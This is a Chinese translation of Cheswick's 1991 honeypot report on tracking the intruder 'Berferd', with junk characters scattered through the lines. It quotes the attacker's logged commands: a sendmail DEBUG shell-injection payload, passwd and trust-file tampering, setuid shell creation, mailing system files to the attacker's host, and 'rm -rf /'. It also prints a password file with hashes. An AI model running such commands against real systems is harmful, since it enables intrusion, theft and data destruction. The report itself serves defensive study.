在1991年1月7号,一个黑客,他确信自己发现了我们的Internet网关计算机的sendmail的一个DUBUG漏洞的黑客,试图获得我们的password文件,我“送”给他了一份。
+ `4 q; H; ]$ c, t" Q在几个月中,我们引诱这名黑客作各种快乐的尝试,以便于我们发现他的位置和使用的破解技术。这篇文章是对该黑客的“成功”和失败,我们使用的诱饵和陷阱的详细记录
. w: [* x& [, a# N- K我们的结论是我们所遇到的这个黑客拥有大量的时间,固执异常,并持有一份优秀的系统漏洞列表。一旦他获得了系统的一个正式注册身份,使用那些漏洞他可以轻易的攻破uucp和bin帐号,然后是root。我们的黑客对军事目标和可以帮助他中转其连接的新机器很感兴趣。
& E6 q/ T' ]! y9 p5 r! r简介
8 a& t: C+ ?) B, g我们的安全Internet网关是1990年1月开始使用的。对于这个整个城堡的大门,我想知道它所可能遭到的攻击会有多么频繁。我明白Internet上有一些喜欢使用“暴力”的人,那么他们是谁?他们会攻击什么地方?会多么频繁?他们经常尝试系统的那些漏洞?' N# H9 T2 c. U" x
事实上,他们没有对AT&T作出破坏,甚至很少光顾我们的这扇大门,那么,最终的乐趣只有如此,引诱一个黑客到一个我们设计好的环境中,记录下来他的所有动作,研究其行为,并提醒他的下一个目标作出防范。
8 M( ~7 p9 t! P8 g: ?0 z$ F! X1 q大多数Internet上的工作站很少提供工具来作这些事情,商业系统检测并报告一些问题,但是它们忽略了很多我们想要的东西。我们的网关每天产生10兆的日志文件。但人们对于日志记录以外的服务的攻击呢?
, G% c7 Y5 c( B9 y我们添加了一些虚假的服务在系统上,同时我编写了一个script文件用来检索每天的日志。我们检查以下几点:
* R$ k$ f) v; A+ t4 V+ i: y. XFTP :检索的工具会报告每天所有注册和试图注册的用户名。它还会报告用户对tilde的使用(这是个老版本的ftp的漏洞)、所有对ftp目录的/etc/passwd和/etc/group的存取以及对pub目录下完整文件列表的获取。获取passwd的人通常用它来获得系统的正式用户的注册名称,然后攻击、破解其密码。有时有些系统的管理员会将系统的真实passwd文件放在ftp的/etc目录下,我们伪造了一个passwd文件,它的密码被破解后是“why are you wasting your time.”
4 W' G* x: S% X* E+ _1 Y/ H; nTelnet / login :所有试图login的动作都被记录了下来。这很容易就可以看出有些人在尝试很多帐号,或强力攻击某一个帐号。因为我们这个Internet的大门除了“警卫”外没有什么别的用户,很容易就可以找到问题所在。
3 V. [! ^2 ?) W- ]Guest / visitor 帐号:黑客们第一个寻找的就是公用帐号。这些帐号提供了友好的,最轻易的获取几乎系统的所有文件的机会,包括passwd文件。黑客也可以通过获取/etc/hosts.equiv文件或每个用户的.rhosts文件来获得机器的信任主机列表。我们对于这些帐号的login script文件是这样编写的:
- k$ e l( K' s A7 mexec 2>/dev/null # ensure that stderr doesn't appear( j1 i" i5 m" Y2 Y+ z3 o4 m8 B/ U
trap "" 1
( ?. M0 f, b+ h' K+ w h/bin/echo) t, M& L# l2 |3 T2 Y' q
( /bin/echo "Attempt to login to inet with $LOGNAME from $CALLER" |7 }6 A, G1 [% v( _$ d/ S( s, R4 t8 s! q! E
upasname=adm /bin/mail ches dangelo &2 a+ w% f; g/ l/ V) V
# (notify calling machine's administrator for some machines...)% d2 x3 f+ ^: u' ^) ~; Q B
# (finger the calling machine...)/ }- d$ b. }$ b8 I0 c
) 2>&1 | mail ches dangelo
+ H$ Z( U( K5 _1 i' L/bin/echo "/tmp full"
; ~* _, \1 F3 X0 J6 usleep 5 # I love to make them wait....
( J. ?1 I' p& U/ O+ b7 | [/bin/echo "/tmp full"
3 n, |) d+ N- W* V4 Q/bin/echo "/tmp full"
: f |& j4 \0 G9 _5 J/bin/echo
% o5 s% r4 ^- b; d8 g, Xsleep 60 # ... and simulating a busy machine is useful) s7 y2 P9 t( }) g& @* ~9 H# O4 O
我们必须小心以便不让调用者看到系统的标志出错信息(如果一旦我们编写的script有误)。注意$CALLER是在另一端的主机或IP地址。通过修改telnetd或login,它将可以通过环境变量来获取。. \* I+ z% i2 ]4 v8 o/ y8 W
SMTP DEBUG : 这个命令提供了两个守候sendmail的漏洞的陷阱。虽然几乎所有的产品出售商都清除了这个漏洞,但偶尔仍有黑客尝试它。这个漏洞允许外部的使用者使用一段以root权限执行的script。当有些人尝试这个漏洞时,我就获得了他尝试的script代码。
r) v' l/ J4 s# x0 E5 WFinger :Finger提供了大量有用的信息给黑客:帐号名,该帐号的最后一次使用时间,以及一些可以用来猜测密码的信息。由于我们的组织不允许提供这些信息给别人,我们置入了一个程序,在finger了fingerd的调用者后拒绝figner请求。(当然我们会避免对来自自己的finger信息的死循环)。报告表明每天有数以十计的finger请求,其中大部分是合法的。
* j* N6 a+ u9 F7 C1 aRlogin / rsh :这些命令都是基于一些无条件信任的系统,我们的机器并不支持。但我们会finger使用这些命令的用户,并将他的尝试和用户信息等生成报告。4 l, d7 H) T1 i7 Z, F/ z' ]% }
上述很多探测器都使用figner命令来查明调用的机器和使用者。; Y* W) J, ?5 h0 q; t
当一个尝试显示为有不合法企图时,我就发出这样一条消息:
! u7 F: x0 C; }$ ninetfans postmaster@sdsu.edu5 c) U% O- q8 A" z' Z
Yesterday someone from math.sdsu.edu fetched the /etc/passwd file* B" D- P" _+ e9 V; q3 h
from our FTP directory. The file is not important, but these probes2 S' ]9 u5 W5 B' T1 N
are sometimes performed from stolen accounts.( X2 E% H; A! ] t, l
Just thought you'd like to know.
& q+ s! X$ \! o M# U* `Bill Cheswick
$ K0 L& G- @9 Q# Y3 w这是一个典型的信件,它被发往“inetfans”,这些人属于计算机紧急响应小组(Computer Emergency Response Team , CERT)、某些兴趣小组或对某些站点感兴趣的人。5 b5 t) @0 |5 j# C& E$ K
很多系统管理员很重视这些报告,尤其是军事站点。通常,系统管理员在解决这些问题上都非常合作。对这些信件的反应包括道歉,拒绝信件,关闭帐号以及沉默等等。当一个站点开来愿意支持黑客们的活动时,我们会考虑拒收来自该站的所有信息包。8 {) G" i' M: o( Z
不友好的行动
; K$ J' P& i* x2 L* r我们从1990年1月设置好这些探测器。统计表明被攻击率在每年学校的假期期间会上升。我们的被攻击率可能比其他站点高,因为我们是广为人知的,并被认为是“电话公司”。
6 R' W; H7 Y* I1 C2 ]; ~4 L O当一个远程使用者取走passwd文件时,并不是所有的人都出于恶意的目的。有时他们只是想看看是否传输能正常工作。
3 k* n4 v4 Q/ l) R. S7 Q19:43:10 smtpd[27466]: <--- 220 inet.att.com SMTP
) @- b; {4 T% C+ L! ]. F19:43:14 smtpd[27466]: -------> debug4 n/ d- g. G/ \8 L, c1 i
19:43:14 smtpd[27466]: DEBUG attempt
. Y* E) _( s- @1 L19:43:14 smtpd[27466]: <--- 200 OK
( \' Z0 W4 |7 `3 y19:43:25 smtpd[27466]: -------> mail from:% w$ P1 U9 r1 w; T9 Z6 S* H( I
19:43:25 smtpd[27466]: <--- 503 Expecting HELO+ D. x- u# S! T$ N. ^+ J" A
19:43:34 smtpd[27466]: -------> helo6 w8 G- z. U5 w. u: \3 Q3 X- n7 B
19:43:34 smtpd[27466]: HELO from
: S) y& H8 }3 o: _19:43:34 smtpd[27466]: <--- 250 inet.att.com
) {0 t9 M# r; m0 e6 [5 d% J7 e19:43:42 smtpd[27466]: -------> mail from:
5 O. U+ L- l* i# v19:43:42 smtpd[27466]: <--- 250 OK
: [; S1 w, k* U3 B/ }19:43:59 smtpd[27466]: -------> rcpt to: 19:43:59 smtpd[27466]: <--- 501 Syntax error in recipient name9 S8 |* z) G8 ]
19:44:44 smtpd[27466]: -------> rcpt to:<|sed -e '1,/?$/'d | /bin/sh ; exit 0">
) A' ~1 P- m* c1 d19:44:44 smtpd[27466]: shell characters: |sed -e '1,/?$/'d | /bin/sh ; exit 0"
9 t9 R {* f5 j" r; s1 g19:44:45 smtpd[27466]: <--- 250 OK- J& ?, Z6 k9 k4 `: l8 |
19:44:48 smtpd[27466]: -------> data3 E% O9 |5 V" ~7 o
19:44:48 smtpd[27466]: <--- 354 Start mail input; end with .
5 E( o% s4 h8 e; G* W I, z4 D9 S19:45:04 smtpd[27466]: <--- 250 OK4 q1 ^/ b- h0 D$ w3 [- n2 m
19:45:04 smtpd[27466]: /dev/null sent 48 bytes to upas.security
. R$ j8 S* w( i0 a$ Y8 e7 O, I19:45:08 smtpd[27466]: -------> quit
8 W6 k$ X* @0 |9 m19:45:08 smtpd[27466]: <--- 221 inet.att.com Terminating. w9 K5 @( o: r& E* d" ^6 S9 Z/ E
19:45:08 smtpd[27466]: finished.
B' l) K1 m/ S2 v) V7 ?这是我们对SMTP过程的日志。这些看来很神秘的日志通常是有两个邮件发送器来相互对话的。在这个例子中,另一端是由人来键入命令。他尝试的第一个命令是DEBUG。当他接收的“250 OK”的回应时一定很惊奇。关键的行是“rcpt to :”。在尖括号括起的部分通常是一个邮件接收器的地址。这里它包含了一个命令行。Sendmail在DEBUG模式下用它来以ROOT身份执行一段命令。即:# C1 |/ a/ g# Y& p, V( C
sed -e '1,/?$/'d | /bin/sh ; exit 0". r, R! Z; {% F
它剥去了邮件头,并使用ROOT身份执行了消息体。这段消息邮寄给了我,这是我记录下来的,包含时间戳:
1 g3 M( S; Z* d/ {+ {; |19:45 mail adrian@embezzle.stanford.edu 19:51 mail adrian@embezzle.stanford.edu 他希望我们邮寄给他一份我们的passwd文件。大概用来运行一些passwd破解程序。所有这些探测结果都来自EMBEZZLE.STANFORD.EDU的一个adrian用户。他在美国空袭伊拉克半个小时后公然作出敌意反应。我怀疑是萨达姆雇佣了一两个黑客。我恰巧在ftp的目录下有一个假的passwd文件,就用root身份给Stanford发了过去。" Q# b* B- I3 n4 j. K8 i
第二个早晨,我听到了来自Stanford的消息:他们知道了这件事,并正在发现问题所在。他们说adrian这个帐号被盗用了。
- L6 F0 p6 B1 D9 S接着的一个星期天我接到了从法国发来的一封信:
3 V, e5 @) t* k! Q X! M* q4 L' h" aTo: root@research.att.com
5 U& ]% [) D- Z& b, jSubject: intruder( b( T0 c R* c6 K& W
Date: Sun, 20 Jan 91 15:02:53 +0100+ J1 ^1 K8 F3 l, {
I have just closed an account on my machine2 F7 _; Y1 l5 \. H. f/ m) Y
which has been broken by an intruder coming from embezzle.stanford.edu. He
/ y' K5 z: {: [" X w(she) has left a file called passwd. The contents are:. @' a9 f9 m* P2 m
------------>
& q! n* W! D! d6 ^! N9 dFrom root@research.att.com Tue Jan 15 18:49:13 1991
+ z8 s* L4 x. t# f; G+ K2 XReceived: from research.att.com by embezzle.Stanford.EDU (5.61/4.7);. I2 p8 A; a6 N1 ?6 W
Tue, 15 Jan 91 18:49:12 -0800
) r' [8 D7 a2 [/ k! {Message-Id: <9101160249.AA26092@embezzle.Stanford.EDU>
2 v0 ]' t" m" U. a4 f3 W4 sFrom: root@research.att.com
8 I& W$ t, a+ _$ t. y, hDate: Tue, 15 Jan 91 21:48 EST/ g0 ]4 o7 W7 C. ]- ]3 l* _- s$ \# @
To: adrian@embezzle.stanford.edu9 u M7 Z1 N& B( K; F V7 O
Root: mgajqD9nOAVDw:0:2:0000-Admin(0000):/:' p- A) a3 x9 t! I+ [
Daemon: *:1:1:0000-Admin(0000):/:
! ^1 M. I0 e2 \Bin: *:2:2:0000-Admin(0000):/bin:+ K. }) U# U# \! T' f
Sys: *:3:3:0000-Admin(0000):/usr/v9/src:
n8 s& U t- E# E! d9 p9 FAdm: *:4:4:0000-Admin(0000):/usr/adm:
. V( V; s6 y9 K% ]% }+ tUucp: *:5:5:0000-uucp(0000):/usr/lib/uucp:3 U9 A9 f+ Y9 Y2 y4 r/ ]
Nuucp: *:10:10:0000-uucp(0000):/usr/spool/uucppublic:/usr/lib/uucp/uucico1 v$ l# ?8 H" R# H4 K _
Ftp: anonymous:71:14:file transfer:/:no soap
" ~/ I' Q9 h4 u& ^9 N8 u7 dChes: j2PPWsiVal..Q:200:1:me:/u/ches:/bin/sh, E2 I! }7 N0 a, @' @9 a0 Z
Dmr: a98tVGlT7GiaM:202:1:Dennis:/u/dmr:/bin/sh
" e. J5 Q1 h5 h) I" g( rRtm: 5bHD/k5k2mTTs:203:1:Rob:/u/rtm:/bin/sh
5 A9 ?- s2 Y/ t" PBerferd: deJCw4bQcNT3Y:204:1:Fred:/u/berferd:/bin/sh
+ v8 g. |, k- s; j1 z2 p; y: ?Td: PXJ.d9CgZ9DmA:206:1:Tom:/u/td:/bin/sh
: @. p0 K$ z; `. mStatus: R" B5 A, _+ M3 t6 V. d {* Q0 L: O2 J: s
------------Please let me know if you heard of him.; m: U- W" l5 J( |6 }
陪伴Berferd的一个夜晚# ]+ g6 O5 K3 ?$ v& i
1月20号,星期天晚上,我的终端报告有安全敏感事件。
' `# {( c/ O5 r W, |22:33 finger attempt on berferd
7 U8 F* z! H: G7 s几分钟后,有人试图使用DEBUG来用ROOT身份执行命令,他试图修改我们的passwd文件!
8 s7 P- j. O* \/ w& P9 h/ [22:36 echo "beferdd::300:1:maybe Beferd:/:/bin/sh" >>/etc/passwd7 D* J$ z. L3 x6 C
cp /bin/sh /tmp/shell. w; n7 }. y, A" N# J1 F; [
chmod 4755 /tmp/shell4 ~2 _4 i R: n( z: K
连接同样来自EMBEZZLE.STANFORD.EDU。2 Y: T' i; x) {% H( G
我该怎么作呢?我不希望他真的能获得一个网关的帐号,为什么引狼入室呢?那样我将得不到他的键盘活动。
: c$ o5 I O2 v M+ b我应该继续看看他关注的其他事情,或许我可以手工模拟一下操作系统,这意味着我必须让他以为机器速度很慢,因为我无法和MIPS M/120相比。同时意味着我必须模拟一个一致的操作系统。
# ~4 n/ x/ ]; h3 n: d) n我已经有一个要求了,因为他已经持有了一份passwd。
: M* k2 A, p9 e决定一:ftp的passwd是一个真实的passwd。* f' u8 P/ a# x" Q% j' m0 B( ~5 B6 w
还有另外的两个: O, c3 {) f* L1 ^- K0 {
决定二:网关机器管理极差。(有DEBUG漏洞,ftp目录里有passwd)。
8 W6 R& _4 h1 f5 c5 a/ `: a9 S决定三:网关机器极慢。
+ _! I( i7 B3 G4 ?因此我决定让他以为他已经改变了passwd文件,但却不急于让他进来。我必须生成一个帐号,但却使它不可操作。我应该怎么办?
- g2 A5 ^' l7 n& ], F! l9 i决定四:我的shell并没有放在/bin下,它放在其他地方。这样,他进来后(让他认为passwd已经改动了),没有可运行的shell。
& U# t' K# W9 H8 T这个决定很愚蠢,但我不会因此损失任何东西。我写了一个script,生成了一个临时帐号b,当它被调用时它会给我发信,调用者将看到如下信息:
, \, _" g5 r% F! k4 p3 i! Z+ \RISC/os (inet)" G% G* Y) ]! o
login: b& _* G# C4 i6 x& C: K& p5 m
RISC/os (UMIPS) 4.0 inet
% }' V# C I7 k9 bCopyright 1986, MIPS Computer Systems
3 N1 _1 ~; C, ?8 @7 ?/ S1 PAll Rights Reserved( F+ u5 e" V6 _3 h
Shell not found( _) y( Z0 X r- }7 r& l9 M/ L3 U
我把b帐号在实际passwd文件中改成了beferd,当我作完后,他在此尝试:
, k7 V4 e. e B7 R! N22:41 echo "bferd ::301:1::/:/bin/sh" >> /etc/passwd% _% e% S4 l( Y! R# J
他的另一个试图添加到passwd文件的尝试。事实上,在我为bferd完成新的配置之前他开始急躁了:; U( `4 g+ ?- L
22:45 talk adrian@embezzle.stand?Hford.edu
' ?* d) s5 `7 Q* |& otalk adrian@embezzle.stanford.edu
6 C* z9 h+ ~6 `+ b; _决定五:我们没有talk这个命令。
) a) t+ x" `! u& S' c# J2 Z他选择了berferd这个帐号:9 N# f* a- h8 H C6 m) p
22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU
) ^$ J2 }+ I' g/ e22:48 Attempt to login to inet with bferd from Tip-QuadA.Stanford.EDU5 N3 ^0 `* a& @
22:49 Attempt to login to inet with bferd from embezzle.Stanford.EDU4 c/ A: l# F, p1 s6 {+ w
22:51 (Notified Stanford of the use of Tip-QuadA.Stanford.EDU)4 S5 O; [0 Q& U
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU" g; g t, w* a+ _8 Q
22:51 Attempt to login to inet with bferd from embezzle.Stanford.EDU+ U1 a3 a0 a) U$ x
22:55 echo "bfrd ::303:1::/tmp:/bin/sh" >> /etc/passwd: X7 u* }9 `" @
22:57 (Added bfrd to the real password file.). E8 F' T1 N8 Y5 J2 S
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU' y% h0 X* C2 b) a
22:58 Attempt to login to inet with bfrd from embezzle.Stanford.EDU/ \2 I$ A2 Q! o9 B5 D& ?- r; j
23:05 echo "36.92.0.205" >/dev/null
' e w# z$ z0 h# B4 N# Cecho "36.92.0.205 embezzle.stanford.edu">>/etc./?H?H?H
% d, h( ]' ~% ~: R23:06 Attempt to login to inet with guest from rice-chex.ai.mit.edu
# h- \$ L4 b' V. [/ h" R, R23:06 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts( T5 t5 r, h( V$ x8 F; B# v
23:08 echo "embezzle.stanford.edu adrian">>/tmp/.rhosts9 ~2 l# E: s) [1 L- g. M, z; l
很显然他希望能够rlogin到我们的网关,这需要一些本地文件的特定设置。我们并没有作rlogin的检测。7 d+ B& u& ~8 n, E0 R& N
这时他又有新的动作:3 g# S+ C/ J; j8 ]
23:09 Attempt to login to inet with bfrd from embezzle.Stanford.EDU+ g7 \( [( \, s7 O, ?
23:10 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
! n- `* W4 U, m# u23:14 mail adrian@embezzle.stanford.edu < /etc/inetd.conf. B) Q2 } X8 c! v
ps -aux|mail adrian@embezzle.stanford.edu( P m. k; W; y/ k" {) i8 ^
在rlogin失败后,他希望能得到我们的inetd.conf文件来查看我们究竟启动了什么服务。我不想让他看到真正的inetd.conf,但伪造一个又非常困难。
) Q# R! g% ]3 X4 z( ?3 |' X0 Y决定七:网关机器运行不稳定,时有不确定事件。6 @) l. U+ ?2 V4 x
23:28 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts
: F0 ?) J* b- a, Z) Becho "embezzle.stanford.edu adrian" >> /tmp/.rhosts) ^% ^" x1 q2 o
ps -aux|mail adrian@embezzle.stanford.edu: C5 J# t4 ^4 A# x
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
+ Z4 c, F% p. {' Q2 K6 ^我不希望他看到ps的结果,幸运的是,他的Berkeley系统的ps命令在我的System V机器上是无效的。
5 @( K3 O& L+ E. B* i5 h1 o这时我通知了CERT,这时一起严重的攻击事件,在Stanford也应该有追踪这些请求的人。这时,活动又转到ftp上来:6 M8 ?: y* v9 {) ^4 s+ _" N
Jan 20 23:36:48 inet ftpd[14437]: <--- 220 inet FTP server
1 v- a9 v6 o0 u, V1 ~9 R(Version 4.265 Fri Feb 2 13:39:38 EST 1990) ready. }3 K( F9 X$ w2 r
Jan 20 23:36:55 inet ftpd[14437]: -------> user bfrd?M
7 R! N5 h( T# \2 dJan 20 23:36:55 inet ftpd[14437]: <--- 331 Password required for bfrd.5 a/ A2 \; K1 f
Jan 20 23:37:06 inet ftpd[14437]: -------> pass?M2 f; `) c: j, W% w6 M$ L
Jan 20 23:37:06 inet ftpd[14437]: <--- 500 'PASS': command not understood.6 W' o8 |8 s4 u. f
Jan 20 23:37:13 inet ftpd[14437]: -------> pass?M) l' q, J! P* }& ^5 L$ n2 q
Jan 20 23:37:13 inet ftpd[14437]: <--- 500 'PASS': command not understood.7 G0 s, o5 O( v: ^& x
Jan 20 23:37:24 inet ftpd[14437]: -------> HELP?M$ C2 ?4 k& V. y& Q" p. Z
Jan 20 23:37:24 inet ftpd[14437]: <--- 214- The following commands are: {1 Q/ O6 Z4 t: \9 w
recognized (* =>'s unimplemented).
4 X. U+ U! d) h3 f% K3 E6 V0 XJan 20 23:37:24 inet ftpd[14437]: <--- 214 Direct comments to ftp-bugs@inet.
& I) n- I) G* Z4 v! d; C8 qJan 20 23:37:31 inet ftpd[14437]: -------> QUIT?M
2 a: W) P( U" D! I% P( O( l; ?( nJan 20 23:37:31 inet ftpd[14437]: <--- 221 Goodbye.
% j% ]. Q, d- ]. g4 B( bJan 20 23:37:31 inet ftpd[14437]: Logout, status 0
" I2 L9 M0 }8 FJan 20 23:37:31 inet inetd[116]: exit 14437
4 I; i1 m# [5 C, TJan 20 23:37:41 inet inetd[116]: finger request from 36.92.0.205 pid 14454' ], x5 O7 C8 V& \0 y2 f
Jan 20 23:37:41 inet inetd[116]: exit 144548 E- t* ?! F0 H9 X: \: D
23:38 finger attempt on berferd
! j. v6 L$ N2 y; w; e V! W7 V23:48 echo "36.92.0.205 embezzle.stanford.edu" >> /etc/hosts.equiv3 M, j+ h* K% {- t/ W/ Y, S
23:53 mv /usr/etc/fingerd /usr/etc/fingerd.b# V# p- K: i+ V4 H* M
cp /bin/sh /usr/etc/fingerd
o) w& d& }+ t' P& G% s) G# ^决定四已经决定了最后一行的尝试必然失败。因此,他只是破坏了我们模拟的机器上的finger而已,并没有将之替换成一个shell程序。我关闭了实际的fingerd程序。: X( T0 s0 ~- w3 r, @; a3 f
23:57 Attempt to login to inet with bfrd from embezzle.Stanford.EDU7 ^( Y2 N9 g5 g' d
23:58 cp /bin/csh /usr/etc/fingerd
8 u4 b8 [3 M' r: J% j. }我们模拟的机器上csh并不在/bin下,因此这个命令无效。
9 J0 O) O. o( W& h* v( X00:07 cp /usr/etc/fingerd.b /usr/etc/fingerd
0 N7 }* `7 P. f8 T& M3 W好吧,fingerd现在重新开始工作。Berferd的恢复工作干的不错。1 X( I9 H! l( ?0 l9 T
00:14 passwd bfrt9 ^1 X& F$ ?' a
bfrt4 L8 q2 G U4 j7 x* j
bfrt3 {" O7 w: W% t
现在他试图修改password,这永远不会成功,因为passwd的输入是/dev/tty,不是sendmail所执行的shell script。
8 q7 W. q2 N! N00:16 Attempt to login to inet with bfrd from embezzle.Stanford.EDU9 F1 i: V1 U3 ^
00:17 echo "/bin/sh" > /tmp/Shell
# n+ I, q, S6 Y- ]) @( lchmod 755 /tmp/shell
: C- @2 O0 C5 ~4 @chmod 755 /tmp/Shell
9 W5 i8 g+ B2 l# v2 B00:19 chmod 4755 /tmp/shell
n$ k! D; W: g' B8 V00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
# `8 P8 d9 \& E! p00:19 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
% A4 i% G' k& D5 L% S4 X- d00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU: }* S% H4 d& Z# I/ s! R
00:21 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
" r Q8 U& M% P4 ~3 o8 l这时我已经很累了。
# Z/ |* ]8 k {0 U5 V+ ]0 w* l) L01:55 rm -rf /&5 l+ m8 I1 A* ?+ X6 T
喔!!太狠了!显然机器的状态让他迷惑,他希望能清除所有的痕迹。有些黑客会保护自己所作的工作,声明自己不作任何破坏。我们的黑客对我们感到疲劳了,因此以此结束。' r3 E- c* c9 `! _0 I9 m: S6 _
他继续工作了几分钟,后来放弃:
3 }' T4 ^. E6 Q, D" h; t07:12 Attempt to login to inet with bfrd from embezzle.Stanford.EDU0 I9 T2 I" J o* |( f& i
07:14 rm -rf /&' h. Q @, N! k* Y/ Y2 m
07:17 finger attempt on berferd
( e, Y1 L+ M4 j2 z. X& [+ ]" p0 n07:19 /bin/rm -rf /&! @- A/ W i4 U* l2 U/ F
/bin/rm -rf /&
, z, P% w6 A+ J% K0 ?- p07:23 /bin/rm -rf /&
7 r; f* d8 Q. z% w07:25 Attempt to login to inet with bfrd from embezzle.Stanford.EDU
. u3 k9 q( Z2 i9 [7 R( Z& M09:41 Attempt to login to inet with bfrd from embezzle.Stanford.EDU" U2 ?- v/ m# l
|